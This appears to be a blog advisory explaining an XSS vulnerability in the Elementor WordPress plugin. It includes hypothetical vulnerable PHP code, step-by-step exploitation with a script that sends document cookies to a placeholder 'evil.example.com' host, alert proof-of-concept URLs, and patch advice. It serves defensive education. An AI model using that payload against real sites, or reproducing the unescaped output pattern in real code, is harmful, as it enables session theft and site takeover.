CVE-2023-47505 - Cross-site Scripting (XSS) Vulnerability in Elementor (n/a–3.16.4)

Elementor is one of the most popular WordPress page builder plugins, powering millions of websites worldwide. In late 2023, a major security flaw was discovered — tracked as CVE-2023-47505 — which allows malicious actors to inject malicious scripts into websites through a classic web vulnerability: Cross-Site Scripting (XSS).

This article breaks down everything you need to know about CVE-2023-47505 in simple, plain English. We'll cover what caused it, show real-life code examples, explain the risk, and give you actionable defenses. If you're running Elementor anywhere between versions "unknown" up to 3.16.4, read this immediately — your site may be vulnerable!

🚨 What is CVE-2023-47505?

CVE-2023-47505 is an Improper Neutralization of Input During Web Page Generation — what’s usually called Reflected XSS or Stored XSS.

Original References

- CVE entry at NIST: CVE-2023-47505
- Elementor changelog (patch reference)
- WPScan advisory
- Official Elementor site

🤔 How Does The Vulnerability Work?

Elementor is supposed to sanitize user inputs, so that whatever visitors type in (forms, comment fields, query URLs) can’t result in code getting executed.

The Bug: Elementor failed to properly “neutralize” input when generating parts of the page. If an attacker could get their own crafted JavaScript onto a page (via a widget’s setting, form, or URL parameter), that script would be executed by visitors’ browsers — leading to all sorts of trouble: cookie theft, backdoor admin accounts, redirecting users, you name it.

Example Attack Scenario

Imagine a site using Elementor 3.16.2. An attacker adds a malicious script to a page via a form input, widget, or even a specially-crafted URL. When an admin visits the page, their browser runs the attacker's code, potentially compromising their session.

Here's a simplified look at the vulnerable behavior

// Hypothetical code inside Elementor's rendering functions

// Grabs user-controlled input from widget settings
$user_input = $_GET['some_widget_setting'];  // Unsafe source

// Incorrectly outputs user input into the HTML page, with NO escaping!
echo "<div>" . $user_input . "</div>";

// An attacker submits: 
// <script>alert('XSS');</script>
//
// Which gets rendered as:
// <div><script>alert('XSS');</script></div>
// 
// Now, every visitor's browser will run the JS alert

The developer should have used escaping/sanitizing functions to filter out tags, converting < and > to harmless HTML entities, or stripping scripts entirely.

Step-by-Step Exploitation

1. Find a page, widget, or setting on a vulnerable Elementor-powered site that reflects user input into the page output.
2. Inject a script. For example: <script>fetch('https://evil.example.com/cookie?c='+document.cookie)</script>

Lure a logged-in admin or user to that page.

4. Gain access, as the script can steal cookies, run backend requests as the user, or change admin settings.

Suppose a site has a URL like

https://victim.com/?some_widget_setting=Hello+world

And the parameter some_widget_setting gets shown *directly* in the HTML (inside the post, a sidebar, etc.), with no escaping.

Change the URL to

https://victim.com/?some_widget_setting=<script>alert('Hacked!')</script>;

When anyone (including an admin) clicks that URL, they’ll see the alert pop up — showing XSS is present.

🔥 Real-World Impact

- Remote Code Execution: Not directly, but can lead to full site compromise if an admin is tricked.

SEO Poisoning: Insert spam, phishing, or scam content.

## 🔒 How To Fix / Protect Yourself

1. Update Elementor immediately to version 3.16.5 or later — Download latest.
2. Review any widgets, templates, or custom user input fields — sanitize and escape all dynamic content.
3. Use a security plugin that blocks XSS payloads (like Wordfence).
4. Educate your team/admins never to click suspicious links, especially while logged in.

📚 Further Reading & References

- Elementor official changelog
- NVD Detail - CVE-2023-47505
- WPScan advisory
- OWASP XSS Cheat Sheet

Fix: Upgrade immediately, sanitize inputs, and stay vigilant

Don’t let a single plugin update stand between your site and a near-automatic compromise. Update Elementor now!

*This post is an exclusive, simplified summary of public information, with extra clarity for WordPress site owners and developers. If you suspect exploitation or have questions, reach out to your hosting provider or a professional security consultant right away.*

Timeline

Published on: 11/30/2023 12:15:08 UTC
Last modified on: 12/05/2023 20:15:01 UTC